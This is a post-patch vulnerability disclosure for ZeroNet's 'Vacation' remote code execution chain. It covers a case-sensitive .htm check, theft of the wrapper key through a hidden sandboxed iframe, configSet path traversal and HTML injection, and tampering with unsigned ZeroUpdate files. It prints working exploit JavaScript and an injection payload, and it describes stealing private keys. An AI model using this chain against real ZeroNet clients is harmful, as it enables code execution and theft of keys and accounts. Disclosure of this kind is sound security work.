The Vacation
Vurnerability list
Vuln details
Type: Remote Code Execution
Affected clients: all
PoC: click
On September 27th, 2018 suspected exploitation of a series of
vulnerabilities was found on a public ZeroNet proxy. The timing
couldn't have been worse as nofish, ZeroNet's main developer,
was currently on vacation. Affectionately named "The Vacation
Vulnerability", a group of ZeroNet website developers set out to
understand what happened and develop a patch for ZeroNet that
could prevent the same happening to other users. A few days
later, once the patch was near completion, nofish returned and
began collaborating with the developers on a solution and a
disclosure. After some tweaking, the patch was released, but
full details were held back until a majority of clients
had updated to protect themselves.
Now that many people have updated, the vulnerability details are
released below in full. Credit goes to GitCenter for
vulnerability discovery and the website you're currently
reading.
#1
HTML/HTM extension is checked in lower case, so using filename
like index.HTM would result in escaping iframe.
There are a few places where .htm or
.html extension is checked — however, they
are checked either with str.endswith() or
str.split(".")[-1] == .... For example:
# Render a file from media with iframe site wrapper
def actionWrapper(self, path, extra_headers=None):
if not extra_headers:
extra_headers = {}
match = re.match("/(?P<address>[A-Za-z0-9\._-]+)(?P<inner_path>/.*|$)", path)
if match:
address = match.group("address")
inner_path = match.group("inner_path").lstrip("/")
if "." in inner_path and not inner_path.endswith(".html") and not inner_path.endswith(".htm"):
return self.actionSiteMedia("/media" + path) # Only serve html files with frame
This leads to a way to disable wrapper without using
NOSANDBOX permission, which would, of course, shock the
user — it's description is:
Modify your client's configuration and access all site
(sic)
By the way, looks like there is no way to use
index.htm or main.html or any other
page instead of index.html. I'm quote sure that
the lack of this Apache's feature will make it harder to switch
sites to use ZeroNet.
#2
Wrapper can be embed to <iframe>.
Let's try to add the following code to index.html:
<iframe src="/"></iframe>
This code opens wrapper (which renders ZeroHello) in iframe.
However, it doesn't work. If you open Chrome console, you'll
notice this:
Refused to display
'http://127.0.0.1:43110/1HeLLo4uzjaLetFx6NH3PMwFP3qbRbTf3D' in a
frame because it set 'X-Frame-Options' to 'sameorigin'.
Oops. Moreover, if we try to use
iframe.contentWindow, it simply won't work: because
of sandbox attribute on the iframe containing our
index.html.
However, there is a solution. We have #1, so
sandbox is not a problem now. Using
code from index.html is not a good idea, because
we'll be immediately redirected to ZeroHello, however, we can
add sandbox attribute ourselves:
<iframe src="/" sandbox="allow-same-origin"></iframe>
Easy-peasy. Add some styles like opacity: 0 and
it's ready. Moreover, no scripts will be executed, so
<script> tag that contains
wrapper_key won't be removed.
function createIframe() {
let iframe = document.createElement("iframe");
// Hide iframe
iframe.width = 0;
iframe.height = 0;
iframe.border = 0;
iframe.style.width = "0px";
iframe.style.height = "0px";
iframe.style.border = "none";
iframe.style.opacity = "0";
iframe.style.fontSize = "0"; // just in case
iframe.style.position = "fixed";
iframe.style.left = "-1000px";
// Set sandbox
iframe.sandbox = "allow-same-origin";
document.body.appendChild(iframe);
return iframe;
}
// First, we create an empty iframe
let iframe = createIframe();
// Load wrapper
iframe.onload = wrapperLoaded;
iframe.src = "index.html";
let ws;
function wrapperLoaded() {
iframe.onload = null;
// Find script
let initScript = iframe.contentDocument.getElementById("script_init");
// Get code
let code = initScript.value || initScript.innerHTML || initScript.innerText || initScript.textContent;
// Find wrapper_key
let wrapperKey = (
code.split("wrapper_key")[1].split("ajax_key")[0]
.replace(/[^A-Za-z0-9]/g, "")
);
console.log("Wrapper key is:", wrapperKey);
}
When we have wrapper key, we can connect to websocket that
ZeroNet wrapper uses:
class ZeroWebsocket {
constructor(url) {
this.url = url;
this.next_message_id = 10000000;
this.waiting_cb = {};
}
connect(isReconnect) {
this.connected = false;
this.message_queue = [];
this.isReconnect = isReconnect;
this.ws = new WebSocket(this.url);
this.ws.onmessage = this.onMessage.bind(this);
this.ws.onopen = this.onOpenWebsocket.bind(this);
this.ws.onclose = this.onCloseWebsocket.bind(this);
}
onMessage(e) {
let message = JSON.parse(e.data);
let cmd = message.cmd;
if(cmd == "response") {
if(this.waiting_cb[message.to]) {
this.waiting_cb[message.to](message.result);
}
} else if(cmd == "ping") {
this.response(message.id, "pong");
}
}
response(to, result) {
this.send({cmd: "response", to: to, result: result});
}
cmd(cmd, params={}, cb=null) {
this.send({cmd: cmd, params: params}, cb);
}
send(message, cb=null) {
if(!message.id) {
message.id = this.next_message_id++;
}
if(this.connected) {
this.ws.send(JSON.stringify(message));
} else {
this.message_queue.push(message);
}
if(cb) {
this.waiting_cb[message.id] = cb;
}
}
onOpenWebsocket(e) {
this.connected = true;
if(this.isReconnect) {
if(this.onReconnect) {
this.onReconnect();
}
}
// Process messages sent before websocket opened
for(let message of this.message_queue) {
this.ws.send(JSON.stringify(message));
}
this.message_queue = [];
}
onCloseWebsocket(e, reconnect=10000) {
this.connected = false;
if(!e || e.code != 1000 || !e.wasClean) {
// Connection error
setTimeout(() => {
this.connect(true);
}, reconnect);
}
}
}
window.ZeroWebsocket = ZeroWebsocket;
function connectToWebSocket(wrapperKey) {
let proto = location.protocol.replace("http", "ws");
let ws = new ZeroWebsocket(
`${proto}//${location.host}/Websocket?wrapper_key=${wrapperKey}`
);
ws.connect();
return ws;
}
let ZeroFrame = connectToWebSocket();
ZeroFrame.cmd("siteInfo", [], console.log.bind(console));
#3
Language can contain .., which results in reading
JSON file outside current site or plugins/
directory.
This vurnerability was not used in The Vacation attack, and I
can hardly imagine how it can be used, but it's a
vurnerability — so I report it as well.
ZeroFrame API has a command called configSet. You
pass it key and value and, if the key
is tor, language,
tor_use_bridges or trackers_proxy, it
saves it to zeronet.conf.
So, here comes the idea. We can call configSet
(it's admin command, but we have admin right because we are
directly connected to WebSocket) with language key
and pass it some path. ZeroNet would join
languages/, your string and .json.
It may look like if you pass ../../users, it would
point to users.json. You're right, but looks like
there is no way to read that file somehow. When site data is
translated, language name is checked against ...
When plugin text is translated (e.g.: Connected and
Delete in sidebar), file path is not checked, however, we
can't change sidebar text — so it doesn't help at all.
#4
Language can contain " and <.
This vurnerability was not used in The Vacation as well,
however, it may simplify stealing mail or something like that.
Most sites made by @nofish (e.g.: ZeroHello, ZeroMail, ZeroMe,
etc.) use <script src="...?lang={lang}"> to
include JS files. It's a pity no one else uses it, because it's
a useful feature. Originally, to avoid caching the wrong
language. Pretend you choose English language in ZeroHello, and
then switch to Chinese. English version would be cached, and
you'd have to wait for cache to expire to download the new,
Chinese version.
Using ADMIN permission we had from #2 and using
configSet like we used it in #3, we can
change language to
"></script>YOURCODE<script data-a=" and
embed our HTML code (or JS code, if we add script
tag) to other sites.
#5
ZeroUpdate code is not signed.
It's time to remember that ADMIN permission gives us access to
all sites. What about such site as... ZeroUpdate?
New way to receive updates (currently optional): Simply visit
site
1UPDatEDxnvHDo7TXvq6AEBARfNkyfxsp
to receive updates via the ZeroNet network. Next time when you
push the update button of your client, then it will use this
site to update your client to the latest version. This way you
don't have to trust SSL Certificate providers/source-code
hosting companies, because everything is cryptographically
signed. It's also delivers the updates to countries where github
is not accessible.
ZeroBlog
"Cryptographically signed". Yeah. But what exactly is signed?
File transactions between peers. Not files themselves. So if
someone gives you a file with wrong content, you'll notice it --
the signature doesn't match the one inside
content.json, which is cryptographically signed.
But you'll never notice that a signature doesn't match if you
change the file yourself.
This leads to a way to run Python code on your machine. Simply
change some file in ZeroNet folder of ZeroUpdate,
and ask the user to update. Or even don't ask: call
serverUpdate yourself. The user won't even notice
the error message:
Connection with UiServer Websocket was lost. Reconnecting...
...because it is drawn by the wrapper — and we've disabled
it.
So what can we do? We can change some rarely used file, e.g.
from a library, such as PySocks — or even an
executable, like tor.exe. Our script (or
executable) would steal private keys for your sites from
users.json. It would steal private keys for your
ZeroID, KaffieID and PeakID accounts. It
would steal encryption keys for your ZeroMail.